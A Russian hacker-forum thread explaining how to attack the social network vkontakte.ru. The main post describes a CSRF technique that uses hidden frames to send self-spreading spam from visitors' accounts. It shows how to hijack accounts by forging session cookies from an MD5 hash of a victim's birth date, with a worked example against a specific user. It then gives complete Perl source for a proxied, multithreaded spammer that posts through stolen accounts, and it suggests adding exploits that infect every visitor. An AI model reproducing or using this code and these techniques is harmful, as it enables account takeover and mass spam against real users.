Хакерский форум

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Хакерский форум » Взлом сайтов » VKONTAKTE.RU: ищем уязвимости, делимся опытом


VKONTAKTE.RU: ищем уязвимости, делимся опытом

Сообщений 1 страница 2 из 2

1

Интро

Привет! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.

1. Занимательный javascript

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&a … age=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.


2) preved.html
Код HTML:

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.


3) timer.html
Код HTML:

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.


Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)

2. Проблемы с безопасностью

В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

3. Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:

Код:
[align=center]#!/usr/bin/perl # # By lord_of_keyboard, 2007. # use IO::Socket; use Digest::MD5 qw (md5_hex); sub add_child { my $proxy=shift; my $acc=shift; my $pid = fork(); if ($pid) { # parent push(@children, $pid.":".time()); } elsif ($pid == 0) { # child $proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g; my ($host, $port) = split(":",$proxy); my ($id, $password, $shit) = split(":", $acc); my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password); my $post_id=int(rand(400000)); my $text = "Я тебя люблю "; for $i (1..int(rand(10)+1)){ $text.=")"; } $text.="\n http://l-0-v-e.by.ru/"; $text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Referer: http://vkontakte.ru/\r\n". "User-Agent: Internet Explorer 6.0\r\n". "Cookie: $cookie\r\n". "Connection: close\r\n\r\n"; my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); print $sock $get; while ($html = <$sock>){ if ($html =~ /name="blog_id"/gi){ $html=~m/(\d+)/gi; $blog_id = $1; } } close $sock; sleep(1); $request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text"; $comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".length($request)."\r\n". "Referer: http://vkontakte.ru/\r\n". "User-Agent: Internet Explorer 6.0\r\n". "Cookie: $cookie\r\n". "Connection: close\r\n\r\n$request"; my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); print $sock $comment; while (<$sock>){ print; } close $sock; exit(0); # bailing out 8) } else { die "couldn't fork: $!\n"; } } sub next_plz { $proxy_offset++; $acc_offset++; if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; } if ($acc_offset>$#{@accs}){ $acc_offset=0; } } print "Hello, master. I am ready to serve you.\n\n"; open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE; open(FILE,"<accs.txt"); @accs=<FILE>; close FILE; @children=(); $acc_offset=0; $proxy_offset=0; for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; } while (1){ print "There are ".(@children)." of us.\n"; for my $i (0..$#{@children}) { my $child=@children[$i]; my ($pid,$time)=split(":",$child); my $status = waitpid($pid, -1); if ($status>=0) { if (time()-$time>30) { kill($pid); # time has come to die, r.i.p. } # if } else { splice(@children,$i,1); add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; } } # foreach sleep(2); }[/align]

Заключение

Всё написанное выше - не более, чем описание некоторого опыта. Может кому-то пригодится, может, возможно использовать где-то ещё.

0

2

Херовина какаято)

P.S.
ВКонтакте полная хрень!!!
Facebook лучше!

0


Вы здесь » Хакерский форум » Взлом сайтов » VKONTAKTE.RU: ищем уязвимости, делимся опытом